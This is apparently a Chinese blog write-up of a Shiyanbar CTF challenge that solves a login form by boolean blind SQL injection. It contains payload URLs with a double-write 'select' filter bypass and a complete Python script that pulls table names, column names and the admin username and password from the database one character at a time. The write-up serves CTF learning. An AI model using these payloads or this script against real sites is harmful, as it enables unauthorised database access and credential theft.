zoukankan      html  css  js  c++  java
  • 实验吧——看起来有点难(sql盲注)

    题目地址:http://ctf5.shiyanbar.com/basic/inject/

    首先当然是拿admin/admin来试试啊,多次测试发现,有两种错误提示

    1.数据库连接失败!

    2.登录失败,错误的用户名和密码

    用户名为admin时都是提示"登录失败,错误的用户名和密码",而为其他任何字符串时都提示"数据库连接失败!",可以知道用户名存在注入,且这里为布尔盲注。

    于是直接构造注入语句(表和列的信息都存在mysql的一个叫 information_schema 的数据库里,可以直接从这里面爆破表名,列名,通过ascii码和substr()文本剪切来一个一个字母猜解,只要and 后面的条件为真,那么就应该提示 "登录失败,错误的用户名和密码")

    http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin' and ascii(substr(( select group_concat(table_name) from information_schema.tables ),1,1))<97-- -&pass=admin&action=login

    但是发现注入好像被拦截了

    不过仔细看可以发现,这里只是检测了是否有select关键字,如果有则弹窗提示,而且过滤掉select,后台的sql语句便变成

    不知道后台过滤逻辑是怎样的,这里先尝试双写绕过(有的过滤只过滤一次,过滤掉一个select后,剩下的又组成select),http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin' and ascii(substr(( seselectlect group_concat(table_name) from information_schema.tables ),1,1))<97-- -&pass=admin&action=login

    虽然还是会提示不要注入,但我们的语句是执行成功了,所以提不提示无所谓

    然后可以使用二分法慢慢手注,不过我当然是选择写脚本啦。。。

    我发现访问这个网站很慢,跑的话需要太长时间了,于是脚本中我就去掉了不常用的字符,只保留字母数字和下划线还有逗号,其实想提高速度也可以用二分法,不过我懒得改了,直接放上我的脚本吧(写的很丑,见谅)

     1 # -*- coding: utf-8 -*-
     2 import requests
     3 
     4 strall='_,:abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
     5 
     6 headers={
     7     'Content-Type': 'application/x-www-form-urlencoded'
     8 }
     9 
    10 def func1():
    11     result=''
    12     for index in range(1,1000):
    13         for i in strall:
    14             url="http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin' and ascii(substr(( seselectlect group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))=ascii('{}')-- -&pass=admin&action=login".format(str(index),i)
    15             print url
    16             r=requests.get(url=url,headers=headers)
    17             r.encoding='gbk'
    18             if r.text.find('登录失败,错误的用户名和密码'.decode('utf-8','ignore').encode('gbk','ignore')) >=0:
    19                 result+=i
    20                 print result
    21                 break
    22             elif i=='9':
    23                 print result
    24                 return
    25 
    26 def func2():
    27     result=''
    28     for index in range(1,1000):
    29         for i in strall:
    30             url="http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin' and ascii(substr(( seselectlect group_concat(column_name) from information_schema.columns where table_name='admin'),{},1))=ascii('{}')-- -&pass=admin&action=login".format(str(index),i)
    31             print url
    32             r=requests.get(url=url,headers=headers)
    33             r.encoding='gbk'
    34             if r.text.find('登录失败,错误的用户名和密码'.decode('utf-8','ignore').encode('gbk','ignore')) >=0:
    35                 result+=i
    36                 print result
    37                 break
    38             elif i=='9':
    39                 print result
    40                 return
    41 
    42 def func3():
    43     result=''
    44     for index in range(1,1000):
    45         for i in strall:
    46             url="http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin' and ascii(substr(( selselectect concat(username,':',password) from admin ),{},1))=ascii('{}')-- -&pass=admin&action=login".format(str(index),i)
    47             print url
    48             r=requests.get(url=url,headers=headers)
    49             r.encoding='gbk'
    50             if r.text.find('登录失败,错误的用户名和密码'.decode('utf-8','ignore').encode('gbk','ignore')) >=0:
    51                 result+=i
    52                 print result
    53                 break
    54             elif i=='9':
    55                 print result
    56                 return
    57 
    58 #func1()
    59 #raw_input('ok')
    60 #func2()
    61 #raw_input('ok')
    62 func3()
    63 raw_input('done')

    以前写脚本图方便确实没写二分法,也没觉得慢,因为访问网站的速度快,不一会就跑完了,不过这次真的跑了好久。。。

    忍不了这速度的就直接上sqlmap吧

    最后猜解出来了admin:idnuenna,拿到登录页登录即可

  • 相关阅读:
    鲜牛奶与纯牛奶的区别 All In One
    Rough Notation Animation All In One
    java基础编程String及相关
    JDBC1
    java基础数据类型
    java基础编程
    JDBC3
    MYSQL1
    JDBC2
    JSP和Servlet的相同点和不同点,他们之间的联系
  • 原文地址:https://www.cnblogs.com/leixiao-/p/9749480.html
Copyright © 2011-2022 走看看